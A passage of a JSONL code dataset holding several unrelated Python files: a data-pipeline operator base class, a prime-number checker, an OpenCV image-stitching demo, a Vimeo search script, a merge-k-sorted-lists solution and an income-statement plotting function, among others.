results\r\n\r\n # Detect version and __call__ being overridden\r\n # call_hash = self.hash(inspect.getsource(self.__call__))\r\n # if call_hash != CALL_HASH:\r\n # raise Exception(F\"Operator's __call__ method must not be overridden - discovered hash was {call_hash}\")\r\n # version_hash = self.hash(inspect.getsource(self.version))\r\n # if version_hash != VERSION_HASH:\r\n # raise Exception(F\"Operator's version method must not be overridden - discovered hash was {version_hash}\")\r\n\r\n\r\n @abc.abstractmethod\r\n def execute(self, data: dict = {}, context: dict = {}):\r\n \"\"\"\r\n YOU MUST OVERRIDE THIS METHOD\r\n\r\n This is where the main logic for the Operator is implemented.\r\n It should expect a single record and return:\r\n\r\n - None = do not continue further through the flow\r\n - (data, context) = pass data to the next operation\r\n - list(data, context) = run the next operator multiple times\r\n\r\n The list can be a generator.\r\n \"\"\"\r\n raise NotImplementedError(\"execute method must be overridden\") # pragma: no cover\r\n\r\n def __call__(self, data: dict = {}, context: dict = {}):\r\n \"\"\"\r\n DO NOT OVERRIDE THIS METHOD\r\n\r\n This method wraps the `execute` method, which must be overridden, to\r\n to add management of the execution such as sensors and retries.\r\n \"\"\"\r\n if self.first_run:\r\n self.first_run = False\r\n self.commencement_time = datetime.datetime.now()\r\n self.records_processed += 1\r\n attempts_to_go = self.retry_count\r\n while attempts_to_go > 0:\r\n try:\r\n start_time = time.perf_counter_ns()\r\n outcome = self.execute(data, context)\r\n my_execution_time = time.perf_counter_ns() - start_time\r\n self.execution_time_ns += my_execution_time\r\n # add a success to the last_few_results list\r\n self.last_few_results.append(1)\r\n self.last_few_results.pop(0)\r\n break\r\n except Exception as err:\r\n self.errors += 1\r\n attempts_to_go -= 1\r\n if attempts_to_go:\r\n self.logger.error(F\"{self.__class__.__name__} - {type(err).__name__} - {err} - retry in {self.retry_wait} seconds ({context.get('uuid')})\")\r\n time.sleep(self.retry_wait)\r\n else:\r\n error_log_reference = ''\r\n error_reference = err\r\n try:\r\n error_payload = (\r\n F\"timestamp : {datetime.datetime.today().isoformat()}\\n\"\r\n F\"operator : {self.__class__.__name__}\\n\"\r\n F\"error type : {type(err).__name__}\\n\"\r\n F\"details : {err}\\n\"\r\n \"----------------------------------------------------------------------------------------------------\\n\"\r\n F\"{RenderErrorStack()}\\n\"\r\n \"--------------------------------------------- context --------------------------------------------\\n\"\r\n F\"{context}\\n\"\r\n \"---------------------------------------------- data ----------------------------------------------\\n\"\r\n F\"{data}\\n\"\r\n \"----------------------------------------------------------------------------------------------------\\n\")\r\n error_log_reference = self.error_writer(error_payload) # type:ignore\r\n except Exception as err:\r\n self.logger.error(F\"Problem writing to the error bin, a record has been lost. {type(err).__name__} - {err} - {context.get('uuid')}\")\r\n finally:\r\n # finally blocks are called following a try/except block regardless of the outcome\r\n self.logger.error(F\"{self.__class__.__name__} - {type(error_reference).__name__} - {error_reference} - tried {self.retry_count} times before aborting ({context.get('uuid')}) {error_log_reference}\")\r\n outcome = None\r\n # add a failure to the last_few_results list\r\n self.last_few_results.append(0)\r\n self.last_few_results.pop(0)\r\n\r\n # message tracing\r\n if context.get('trace', False):\r\n data_hash = self.hash(data)\r\n context['execution_trace'].add_block(data_hash=data_hash,\r\n operator=self.__class__.__name__,\r\n operator_version=self.version(),\r\n execution_ns=my_execution_time,\r\n data_block=serialize(data))\r\n self.logger.trace(F\"{context.get('uuid')} {self.__class__.__name__} {data_hash}\")\r\n\r\n # if there is a high failure rate, abort\r\n if sum(self.last_few_results) < (len(self.last_few_results) / 2):\r\n self.logger.critical(F\"Failure Rate for {self.__class__.__name__} over last {len(self.last_few_results)} executions is over 50%, aborting.\")\r\n sys.exit(1)\r\n\r\n return outcome\r\n\r\n def read_sensors(self):\r\n \"\"\"\r\n Format data about the transformation, this can be overridden but it\r\n should include this information\r\n \"\"\"\r\n response = {\r\n \"operator\": self.__class__.__name__,\r\n \"version\": self.version(),\r\n \"records_processed\": self.records_processed,\r\n \"error_count\": self.errors,\r\n \"execution_sec\": self.execution_time_ns / 1e9\r\n }\r\n if self.commencement_time:\r\n response['commencement_time'] = self.commencement_time.isoformat()\r\n return response\r\n\r\n @functools.lru_cache(1)\r\n def version(self):\r\n \"\"\"\r\n DO NOT OVERRIDE THIS METHOD.\r\n\r\n The version of the operator code, this is intended to facilitate\r\n reproducability and auditability of the pipeline. The version is the\r\n last 12 characters of the hash of the source code of the 'execute'\r\n method. This removes the need for the developer to remember to\r\n increment a version variable.\r\n\r\n Hashing isn't security sensitive here, it's to identify changes\r\n rather than protect information.\r\n \"\"\"\r\n source = inspect.getsource(self.execute)\r\n full_hash = hashlib.sha224(source.encode())\r\n return full_hash.hexdigest()[-12:]\r\n\r\n def __del__(self):\r\n # do nothing - prevents errors if someone calls super().__del__\r\n pass\r\n\r\n def error_writer(self, record):\r\n # this is a stub to be overridden\r\n raise ValueError('no error_writer attached')\r\n\r\n def __gt__(self, next_operators: Union[List[nx.DiGraph], nx.DiGraph]):\r\n \"\"\"\r\n Smart flow/DAG builder. This allows simple flows to be defined using\r\n the following syntax:\r\n\r\n Op1 > Op2 > Op3\r\n\r\n The builder adds support functions to the resulting 'flow' object.\r\n \"\"\"\r\n # make sure the next_operator is iterable\r\n if not isinstance(next_operators, list):\r\n next_operators = [next_operators]\r\n if self.graph:\r\n # if I have a graph already, build on it\r\n graph = self.graph\r\n else:\r\n # if I don't have a graph, create one\r\n graph = nx.DiGraph()\r\n graph.add_node(F\"{self.__class__.__name__}-{id(self)}\", function=self)\r\n for operator in next_operators:\r\n if isinstance(operator, nx.DiGraph):\r\n # if we're pointing to a graph, merge with the current graph,\r\n # we need to find the node with no incoming nodes we identify\r\n # the entry-point\r\n graph = nx.compose(operator, graph)\r\n graph.add_edge(\r\n F\"{self.__class__.__name__}-{id(self)}\",\r\n [node for node in operator.nodes() if len(graph.in_edges(node)) == 0][0],\r\n )\r\n elif issubclass(type(operator), BaseOperator):\r\n # otherwise add the node and edge and set the graph further\r\n # down the line\r\n graph.add_node(F\"{operator.__class__.__name__}-{id(operator)}\", function=operator)\r\n graph.add_edge(F\"{self.__class__.__name__}-{id(self)}\", F\"{operator.__class__.__name__}-{id(operator)}\")\r\n operator.graph = graph\r\n else:\r\n label = type(operator).__name__\r\n if hasattr(operator, '__name__'):\r\n label = operator.__name__\r\n # deepcode ignore return~not~implemented: Error is a TypeError\r\n raise TypeError(F\"Operator {label} must inherit BaseOperator, this error also occurs when the Operator has not been correctly instantiated.\")\r\n # this variable only exists to build the graph, we don't need it\r\n # anymore so destroy it\r\n self.graph = None\r\n\r\n # extend the base DiGraph class with flow helper functions\r\n graph.run = types.MethodType(go, graph)\r\n graph.finalize = types.MethodType(finalize, graph)\r\n graph.attach_writer = types.MethodType(attach_writer, graph)\r\n graph.attach_writers = types.MethodType(attach_writers, graph)\r\n\r\n return graph\r\n\r\n def _clamp(self, value, low_bound, high_bound):\r\n \"\"\"\r\n 'clamping' is fixing a value within a range\r\n \"\"\"\r\n if value <= low_bound:\r\n return low_bound\r\n if value >= high_bound:\r\n return high_bound\r\n return value\r\n\r\n def hash(self, block):\r\n try:\r\n bytes_object = serialize(block)\r\n except:\r\n bytes_object = str(block)\r\n raw_hash = hashlib.sha256(bytes_object.encode())\r\n hex_hash = raw_hash.hexdigest()\r\n return hex_hash\r\n","sub_path":"gva/flows/operators/base_operator.py","file_name":"base_operator.py","file_ext":"py","file_size_in_byte":13594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"69940747","text":"\"\"\"Prvočísla.\"\"\"\n\n# Imports\nimport math\nimport random\n\n__author__ = 'Daniel Jurča'\n__version__ = '1.0.0'\n__email__ = 'd_jurca@utb.cz'\n__status__ = 'Work in progress'\n\n\ndef VolbaAkce():\n \"\"\"\n Volba metody.\n\n Uživatel zvolí, jestli chce zjistit,\n zda je zadané číslo n prvočíslo,\n nebo vypsat prvočísla po číslo n\n \"\"\"\n print(\"Akce:\")\n print(\"1 : Ověření, zda je zadané číslo prvočíslem\")\n print(\"2 : Vypsání prvočísel po n\")\n global akce\n akce = input(\"Vyberte možnost (1/2): \")\n print()\n return akce\n\n\ndef OvereniHodnotyAkce(akce):\n \"\"\"Ověření, zda je volba akce správná.\"\"\"\n try:\n global typAkce\n typAkce = int(akce)\n if typAkce == 1 or typAkce == 2:\n return True\n else:\n return False\n except ValueError:\n return False\n\n\ndef VolbaCisla():\n \"\"\"Volba čísla n.\"\"\"\n global zadaneCislo\n zadaneCislo = input(\"Zadejte číslo n: \")\n return zadaneCislo\n\n\ndef OvereniHodnotyCisla(zadaneCislo):\n \"\"\"Ověření, zda je zadané číslo integer.\"\"\"\n try:\n global cislo\n cislo = int(zadaneCislo)\n if cislo >= 0:\n return True\n else:\n return False\n except ValueError:\n return False\n\n\ndef Determinacni(cislo):\n \"\"\"Jednoduchá metoda.\"\"\"\n if cislo == 1:\n return False\n if cislo == 2:\n return True\n if cislo % 2 == 0:\n return False\n\n i = 3\n while i <= math.sqrt(cislo):\n if cislo % i == 0:\n return False\n i = i+2\n\n return True\n\n\ndef Fermat(cislo):\n \"\"\"Fermatovo prvočíslo, složitější metoda.\"\"\"\n if (cislo > 1):\n for time in range(3):\n nahodneCislo = random.randint(2, cislo)-1\n if (pow(nahodneCislo, cislo-1, cislo) != 1):\n return False\n return True\n else:\n return False\n\n\ndef UrciPrvocislo(cislo):\n \"\"\"Určení prvočísla.\n\n Unittest:\n >>> UrciPrvocislo(421)\n 421 je prvočíslo\n Metoda: determinační\n\n >>> UrciPrvocislo(8)\n 8 není prvočíslo\n Metoda: determinační\n\n >>> UrciPrvocislo(1010)\n 1010 není prvočíslo\n Metoda: Statistická - Fermatova\n\n >>> UrciPrvocislo(1033)\n 1033 je prvočíslo\n Metoda: Statistická - Fermatova\n \"\"\"\n if cislo < 1000:\n if Determinacni(cislo) is True:\n print(str(cislo) + \" je prvočíslo\")\n else:\n print(str(cislo) + \" není prvočíslo\")\n print(\"Metoda: determinační\")\n elif cislo >= 1000:\n if Fermat(cislo) is True:\n print(str(cislo) + \" je prvočíslo\")\n else:\n print(str(cislo) + \" není prvočíslo\")\n print(\"Metoda: Statistická - Fermatova\")\n\n\ndef VypisPrvocisel(cislo):\n \"\"\"Výpis prvočísel do čísla n.\n\n Unittest:\n >>> VypisPrvocisel(10)\n Prvočísla:\n 2 3 5 7\n\n >>> VypisPrvocisel(100)\n Prvočísla:\n 2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73 79 83 89 97\n\n >>> VypisPrvocisel(1)\n Prvočísla:\n \n \"\"\"\n print(\"Prvočísla:\")\n f = \"\"\n for num in range(2, cislo+1):\n if all(num % i != 0 for i in range(2, num)):\n f += str(num) + ' '\n f = f[:-1]\n print(f)\n\n\ndef ProvedAkci(typAkce, cislo):\n \"\"\"Provede zvolenou akci.\n\n Unittest:\n >>> ProvedAkci(3, 0)\n Chyba u volby akce\n\n >>> ProvedAkci(2, 10)\n Prvočísla:\n 2 3 5 7\n\n >>> ProvedAkci(1, 11)\n 11 je prvočíslo\n Metoda: determinační\n \"\"\"\n if typAkce == 1:\n UrciPrvocislo(cislo)\n elif typAkce == 2:\n VypisPrvocisel(cislo)\n else:\n print(\"Chyba u volby akce\")\n\n\ndef main():\n \"\"\"Spuštění programu.\"\"\"\n VolbaAkce()\n while OvereniHodnotyAkce(akce) is False:\n print(\"Zadejte číslo 1 nebo 2\")\n print()\n VolbaAkce()\n\n VolbaCisla()\n while OvereniHodnotyCisla(zadaneCislo) is False:\n print(\"n musí být celé číslo\")\n print()\n VolbaCisla()\n\n ProvedAkci(typAkce, cislo)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Primes/Primes.py","file_name":"Primes.py","file_ext":"py","file_size_in_byte":4109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"296928205","text":"import cv2\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimg_top = cv2.imread('Images/demo01.jpg')\nprint('img_right size :',img_top.shape)\nimg_top_gray = cv2.cvtColor(img_top,cv2.COLOR_BGR2GRAY)\n\nimg_bot = cv2.imread('Images/demo02.jpg')\nimg_bot_gray = cv2.cvtColor(img_bot,cv2.COLOR_BGR2GRAY)\n\nsift = cv2.xfeatures2d.SIFT_create()\n# find key points\nkp1, des1 = sift.detectAndCompute(img_top_gray,None)\nkp2, des2 = sift.detectAndCompute(img_bot_gray,None)\n\n#cv2.imshow('original_image_left_keypoints',cv2.drawKeypoints(img_,kp1,None))\n\n#FLANN_INDEX_KDTREE = 0\n#index_params = dict(algorithm = FLANN_INDEX_KDTREE, trees = 5)\n#search_params = dict(checks = 50)\n#match = cv2.FlannBasedMatcher(index_params, search_params)\nmatch = cv2.BFMatcher()\nmatches = match.knnMatch(des1,des2,k=2)\n\ngood = []\nfor m,n in matches:\n if m.distance < 0.18*n.distance:\n good.append(m)\nprint(\"特征点匹配的对数:\",len(good))\n\ndraw_params = dict(matchColor=(0,255,0),\n singlePointColor=None,\n flags=2)\n\nimg3 = cv2.drawMatches(img_top,kp1,img_top,kp2,good,None,**draw_params)\n#cv2.imshow(\"original_image_drawMatches.jpg\", img3)\n#good = good[0:4]\nMIN_MATCH_COUNT = 10\nif len(good) > MIN_MATCH_COUNT:\n src_pts = np.float32([ kp1[m.queryIdx].pt for m in good ]).reshape(-1,2)\n dst_pts = np.float32([ kp2[m.trainIdx].pt for m in good ]).reshape(-1,2)\n print(len(src_pts))\n M,mask = cv2.findHomography(dst_pts, src_pts,cv2.RANSAC,5.0)\n print(\"findHo-M:\",M)\n print(\"输入序列点的长度:\",len(src_pts))\n print(\"len(mask) :\",len(mask))\n print(\"mask\", mask)\n h,w = img_top_gray.shape\n pts = np.float32([ [0,0],[0,h-1],[w-1,h-1],[w-1,0] ]).reshape(-1,1,2)\n print(pts)\n dst = cv2.perspectiveTransform(pts, M)\n img2 = cv2.polylines(img_top_gray,[np.int32(dst)],True,255,3, cv2.LINE_AA)\n #cv2.imshow(\"original_image_overlapping.jpg\", img2)\n cv2.namedWindow('windows',0)\n cv2.resizeWindow('windows', (800, 600))\n cv2.imshow('windows', img2)\n\nelse:\n print(\"Not enought matches are found - %d/%d\", (len(good)/MIN_MATCH_COUNT))\n\ndst = cv2.warpPerspective(img_bot ,M,(img_top.shape[1]+1000, img_top.shape[0]+1000))\nplt.figure()\nplt.imshow(dst)\n#cv2.imshow('warpPerspective', dst)\ndst[0:2000,0:img_top.shape[1]] = img_top[0:2000,:]\nplt.figure(3)\ndst = cv2.cvtColor(dst,cv2.COLOR_BGR2RGB)\nplt.imshow(dst)\nplt.show()\n","sub_path":"几何变换/单应性(homography)/demo02-stitch-Sift.py","file_name":"demo02-stitch-Sift.py","file_ext":"py","file_size_in_byte":2405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"289206894","text":"test_case_number = int(input())\n\nresult = \"\"\n\nfor loop_number in range(test_case_number):\n input_case = input()\n test_case = [int(number) for number in input_case.split(\" \")]\n\n # 내부에서 바로 해당 테스트케이스에 대해서 계산\n total = sum(test_case)\n avg = round(total/len(test_case))\n if loop_number+1 == test_case_number:\n result += f\"#{loop_number+1} {avg}\"\n else:\n result += f\"#{loop_number+1} {avg}\\n\"\n\nprint(result)\n","sub_path":"PYTHON/SWEXPERT/익스퍼트미분류/D1/2071_평균값_구하기.py","file_name":"2071_평균값_구하기.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"462302343","text":"'''\nCreated by auto_sdk on 2015.12.22\n'''\nfrom tmallsdk.api.base import RestApi\nclass AlitripTicketSkuPriceModifyRequest(RestApi):\n\tdef __init__(self,domain='gw.api.taobao.com',port=80):\n\t\tRestApi.__init__(self,domain, port)\n\t\tself.item_id = None\n\t\tself.outer_id = None\n\t\tself.price = None\n\t\tself.sku_id = None\n\n\tdef getapiname(self):\n\t\treturn 'taobao.alitrip.ticket.sku.price.modify'\n","sub_path":"tmallsdk/api/rest/AlitripTicketSkuPriceModifyRequest.py","file_name":"AlitripTicketSkuPriceModifyRequest.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"514516921","text":"# -*- coding: utf-8 -*-\n\nfrom setuptools import setup\nfrom pyblocksim.release import __version__\n\nwith open(\"requirements.txt\") as requirements_file:\n requirements = requirements_file.read()\n\nsetup(\n name='pyblocksim',\n version=__version__,\n author='Carsten Knoll',\n author_email='Carsten.Knoll@tu-dresden.de',\n packages=['pyblocksim'],\n url='https://github.com/TUD-RST/pycartan',\n license='GPL3',\n description='Python library for block-oriented modeling and simlation in control theory',\n long_description=\"\"\"Pyblocksim aims to mitigate the lack of a tool like Simulink (or scicos)\nin the world of python based scientific computing.\nIt aims to enable you to quickly implement a model of a dynamic system\nwhich is suited to be modeled by the feedback-free\ndirected interconnection of blocks such as transfer functions.\n \"\"\",\n keywords='control theory, simulation, modelling, feedback',\n install_requires=requirements,\n)\n","sub_path":"pypi_install_script/pyblocksim-0.3.0.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"157868127","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom models.lorentzian_model import DualLorentzianModel, SlopedNoiseLorentzianModel\nimport data\nfrom data_analyzing.misc import *\n\nsavetime = True\ndo_plot = False\nSA_index = \"1\"\nSQ_index = [str(i) for i in range(3, 20)]\n\nif __name__ == \"__main__\":\n sorted = sort_data(data.SEPARATION_SWEEP)\n \"\"\"\n plot the whole folder\n \"\"\"\n if do_plot:\n for key in sorted[\"Hetero\"].keys():\n x, raw = np.loadtxt(sorted[\"Hetero\"][key][1], delimiter=\",\").T\n x, bg = np.loadtxt(sorted[\"HeteroBG\"][key][1], delimiter=\",\").T\n y = normalize(raw, bg)\n plt.plot(x, y, lw=0.5)\n plt.xlabel(\"Frequency(Hz)\")\n plt.ylabel(\"Amplitude(dBm)\")\n plt.title(key)\n plt.show()\n plt.cla()\n \"\"\"\n read from .spe\n \"\"\"\n spe = parse_spe(sorted[\"Hetero\"][SA_index][0])\n P_mon = float(spe[\"PowerMonFinal\"])\n P_ref = float(spe[\"PowerRefFinal\"])\n P_mon_factor = float(spe[\"PmonFactor\"])\n P_ref_factor = float(spe[\"PrefFactor\"])\n P_mon_blue = float(spe[\"PowerMonBlue\"])\n P_mon_Cool = float(spe[\"PowerMonCool\"])\n omega_m = float(spe[\"OmegaM\"])\n separation1 = float(spe[\"PLLOffset1\"])\n separation2 = float(spe[\"PLLOffset2\"])\n \"\"\"\n sideband asymmetry on single trace\n \"\"\"\n data = np.loadtxt(sorted[\"Hetero\"][SA_index][1], delimiter=\",\").T\n background = np.loadtxt(sorted[\"HeteroBG\"][SA_index][1], delimiter=\",\").T\n x = data[0]\n y = normalize(data[1], background[1])\n model = DualLorentzianModel()\n model.observe(x, y)\n if savetime:\n opt, std = model.least_square_fit(x, y)\n else:\n opt, std = model.mcmc_fit()\n a1, a2, p1, p2, w_m = opt[:5]\n plt.plot(x, y, label=\"data\", lw=0.5)\n plt.plot(x, model.get_func()(x, opt[:-1]), label=\"fit\", lw=0.5)\n plt.legend()\n plt.xlabel(\"frequency(Hz)\")\n plt.ylabel(\"amplitude(dBm)\")\n plt.show()\n # make sure that left peak goes to a1\n if p1 > p2:\n a1, a2 = a2, a1\n if abs(separation2 - separation1 - omega_m) < abs(separation1 - omega_m):\n a1, a2 = a2, a1\n print(opt)\n n_f = 1 / ((P_mon_Cool * a2) / (P_mon_blue * a1) - 1)\n print(\"n_f from sideband asymmetry:\")\n print(n_f)\n # the coefficient between area and (scattering rate * occupation)\n alpha = a1 * w_m / (P_mon_Cool * n_f)\n \"\"\"\n handle all SQ data in squeezing folder\n \"\"\"\n for key in SQ_index:\n # read from .spe\n spe = parse_spe(sorted[\"Hetero\"][key][0])\n P_mon_blue = float(spe[\"PowerMonBlue\"])\n P_mon_Cool = float(spe[\"PowerMonCool\"])\n # smallest overlapped peak, induct n_beta\n x, data = np.loadtxt(sorted[\"Hetero\"][key][1], delimiter=\",\").T\n x, background = np.loadtxt(sorted[\"HeteroBG\"][key][1], delimiter=\",\").T\n y = normalize(data, background)\n model = SlopedNoiseLorentzianModel()\n model.observe(x, y)\n if savetime:\n opt, std = model.least_square_fit(x, y)\n else:\n opt, std = model.mcmc_fit()\n a, p0, w = opt[:3]\n n_beta = a * w / (alpha * (P_mon_Cool - P_mon_blue))\n r = np.arctanh(np.sqrt(P_mon_blue / P_mon_Cool))\n maximum_quadrature = np.exp(-2 * r) * (1 + 2 * n_beta)\n print(\"key:\")\n print(key)\n print(\"estimated n_beta:\")\n print(n_beta)\n print(\"estimated maximum of X1 quadrature:\")\n print(maximum_quadrature)\n","sub_path":"data_analyzing/scripts/single_separation_sweep.py","file_name":"single_separation_sweep.py","file_ext":"py","file_size_in_byte":3470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"214904601","text":"import vimeo\nimport keys\nfrom pprint import pprint\nimport webbrowser\n\nv = vimeo.VimeoClient(\n key=keys.YOUR_CLIENT_ID,\n secret=keys.YOUR_CLIENT_SECRET)\ntry:\n token = v.load_client_credentials()\n pprint(token)\n v = vimeo.VimeoClient(\n token=token,\n key=keys.YOUR_CLIENT_ID,\n secret=keys.YOUR_CLIENT_SECRET)\n videos = v.get('/videos?query=vegas local').json()['data'][:1]\n for video in videos:\n url = video['uri'][8:]\n name = video['name']\n likes = video['metadata']['connections']['likes']['total']\n embed = video['embed']\n pprint(video)\n print(name, url, likes, embed)\n # webbrowser.open_new_tab(url)\nexcept vimeo.auth.GrantFailed:\n print(\"Fail Authentication\")\n\n\n#'","sub_path":"search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"75034469","text":"'''\nSolution:\n1. To merge k sorted lists, maintain a min heap so that it always maintains k maximum elements at a particular\n point of time and releases min element in those k elements in O(1) operation.\n2. Push into minHeap all head nodes (take care of null checks)\n2. Extract the minNode and move the pointer forward in that corresponding list (take care of null checks)\n\nTime Complexity: O(n.logk) | Space Complexity: O(k)\n\n--- Passed all testcases successfully on Leetcode.\n'''\n\n\nfrom heapq import heappush as push\nfrom heapq import heappop as pop\n\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass MergeKLists:\n def mergeKLists(self, lists: List[ListNode]) -> ListNode:\n\n # custom less than comparator using a lambda function taking ListNode objects x and y as parameters\n lessThan = lambda x, y: x.val < y.val\n ListNode.__lt__ = lessThan\n\n # initialize an empty list which acts as min heap\n minHeapK = []\n\n # create a dummy head and start the cursor from that node\n dummyHead = ListNode(-1)\n cursorNode = dummyHead\n\n # push into minHeap all head nodes (take care of null checks)\n for i in range(len(lists)):\n currHead = lists[i]\n if (currHead != None):\n push(minHeapK, currHead)\n\n # pop min node and add it to the main linked list, and also push its next node into the min heap (if not null)\n while (len(minHeapK) > 0):\n\n minNode = pop(minHeapK) # pop the min node in the heap\n\n cursorNode.next = minNode\n if (minNode.next != None): # push to the heap only if next node exists\n push(minHeapK, minNode.next)\n\n cursorNode = minNode # update cursor node\n\n # return dummy head's next node\n return dummyHead.next","sub_path":"MergeKSortedLists.py","file_name":"MergeKSortedLists.py","file_ext":"py","file_size_in_byte":1963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"510053966","text":"def income_statement_analysis(income_statement, symbol = 0, log=False):\r\n \r\n '''\r\n Graphically gives an overview of the various income statement items overtime.\r\n When selecting multiple symbols, you are able to visually see the difference\r\n between the companies. \r\n \r\n Parameters\r\n ----------\r\n income_statement : DataFrame\r\n The data created with the cashflows() function.\r\n \r\n symbol : string or list\r\n Company ticker(s) either displayed as a string for one company or as a list\r\n when multiple companies are selected.\r\n\r\n log : boolean\r\n Default on False. Gives the option to convert everything in log values.\r\n \r\n Returns\r\n -------\r\n The following graphs:\r\n total revenue\r\n cost of revenue\r\n general expenses\r\n research development\r\n operating profit\r\n net income\r\n\r\n '''\r\n\r\n import lxml\r\n from lxml import html\r\n import requests\r\n import numpy as np\r\n import pandas as pd\r\n import matplotlib.pyplot as plt\r\n \r\n if symbol == 0:\r\n page = requests.get('https://finance.yahoo.com/trending-tickers')\r\n tree = html.fromstring(page.content)\r\n table = tree.xpath('//table')\r\n symbol = pd.read_html(lxml.etree.tostring(table[0], method='html'))[0]['Symbol'].to_list()\r\n print('No input is given thus using the Trending Tickers from Yahoo Finance: https://finance.yahoo.com/trending-tickers')\r\n \r\n total_revenue = pd.DataFrame(index=income_statement.index)\r\n cost_of_revenue = pd.DataFrame(index=income_statement.index)\r\n general_expenses = pd.DataFrame(index=income_statement.index)\r\n research_development = pd.DataFrame(index=income_statement.index)\r\n operating_profit = pd.DataFrame(index=income_statement.index)\r\n net_income = pd.DataFrame(index=income_statement.index)\r\n \r\n \r\n if type(symbol) == list:\r\n if log == True:\r\n import warnings\r\n warnings.filterwarnings('ignore', category=RuntimeWarning)\r\n for x in symbol:\r\n if x in income_statement:\r\n try:\r\n total_revenue[x] = np.log(income_statement[x,'Total Revenue'])\r\n cost_of_revenue[x] = np.log(income_statement[x,'Cost of Revenue'])\r\n general_expenses[x] = np.log(income_statement[x, 'Selling General and Administrative'])\r\n research_development[x] = np.log(income_statement[x,'Research Development'])\r\n operating_profit[x] = np.log(income_statement[x,'Operating Income or Loss'])\r\n net_income[x] = np.log(income_statement[x,'Net Income From Continuing Ops'])\r\n \r\n except KeyError:\r\n continue\r\n \r\n\r\n fig, axes = plt.subplots(nrows=3, ncols=2, figsize=(15,15))\r\n total_revenue.plot.bar(ax=axes[0,0], rot=0).set_title('Total Revenue')\r\n cost_of_revenue.plot.bar(ax=axes[0,1], rot=0).set_title('Cost of Revenue (COGS)')\r\n general_expenses.plot.bar(ax=axes[1,0], rot=0).set_title('Selling, General and Administrative Expenses (SG&A)')\r\n research_development.plot.bar(ax=axes[1,1], rot=0).set_title('Research Development')\r\n operating_profit.plot.bar(ax=axes[2,0], rot=0).set_title('Operating Income or Loss')\r\n net_income.plot.bar(ax=axes[2,1], rot=0).set_title('Net Income From Continuing Ops')\r\n plt.show()\r\n\r\n else:\r\n for x in symbol:\r\n if x in income_statement:\r\n try:\r\n total_revenue[x] = income_statement[x,'Total Revenue']\r\n cost_of_revenue[x] = income_statement[x,'Cost of Revenue']\r\n general_expenses[x] = income_statement[x, 'Selling General and Administrative']\r\n research_development[x] = income_statement[x,'Research Development']\r\n operating_profit[x] = income_statement[x,'Operating Income or Loss']\r\n net_income[x] = income_statement[x,'Net Income From Continuing Ops']\r\n\r\n except KeyError:\r\n continue\r\n\r\n fig, axes = plt.subplots(nrows=3, ncols=2, figsize=(15,15))\r\n total_revenue.plot.bar(ax=axes[0,0], rot=0).set_title('Total Revenue')\r\n cost_of_revenue.plot.bar(ax=axes[0,1], rot=0).set_title('Cost of Revenue (COGS)')\r\n general_expenses.plot.bar(ax=axes[1,0], rot=0).set_title('Selling, General and Administrative Expenses (SG&A)')\r\n research_development.plot.bar(ax=axes[1,1], rot=0).set_title('Research Development')\r\n operating_profit.plot.bar(ax=axes[2,0], rot=0).set_title('Operating Income or Loss')\r\n net_income.plot.bar(ax=axes[2,1], rot=0).set_title('Net Income From Continuing Ops')\r\n plt.show()\r\n \r\n else:\r\n total_revenue[symbol] = income_statement[symbol,'Total Revenue']\r\n cost_of_revenue[symbol] = income_statement[symbol,'Cost of Revenue']\r\n general_expenses[symbol] = income_statement[symbol, 'Selling General and Administrative']\r\n research_development[symbol] = income_statement[symbol,'Research Development']\r\n operating_profit[symbol] = income_statement[symbol,'Operating Income or Loss']\r\n net_income[symbol] = income_statement[symbol,'Net Income From Continuing Ops']\r\n\r\n fig, axes = plt.subplots(nrows=3, ncols=2, figsize=(15,15))\r\n total_revenue.plot.bar(ax=axes[0,0], rot=0).set_title('Total Revenue')\r\n cost_of_revenue.plot.bar(ax=axes[0,1], rot=0).set_title('Cost of Revenue (COGS)')\r\n general_expenses.plot.bar(ax=axes[1,0], rot=0).set_title('Selling, General and Administrative Expenses (SG&A)')\r\n research_development.plot.bar(ax=axes[1,1], rot=0).set_title('Research Development')\r\n operating_profit.plot.bar(ax=axes[2,0], rot=0).set_title('Operating Income or Loss')\r\n net_income.plot.bar(ax=axes[2,1], rot=0).set_title('Net Income From Continuing Ops')\r\n plt.show()","sub_path":"FundamentalAnalysis/income_statement_analysis.py","file_name":"income_statement_analysis.py","file_ext":"py","file_size_in_byte":6284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
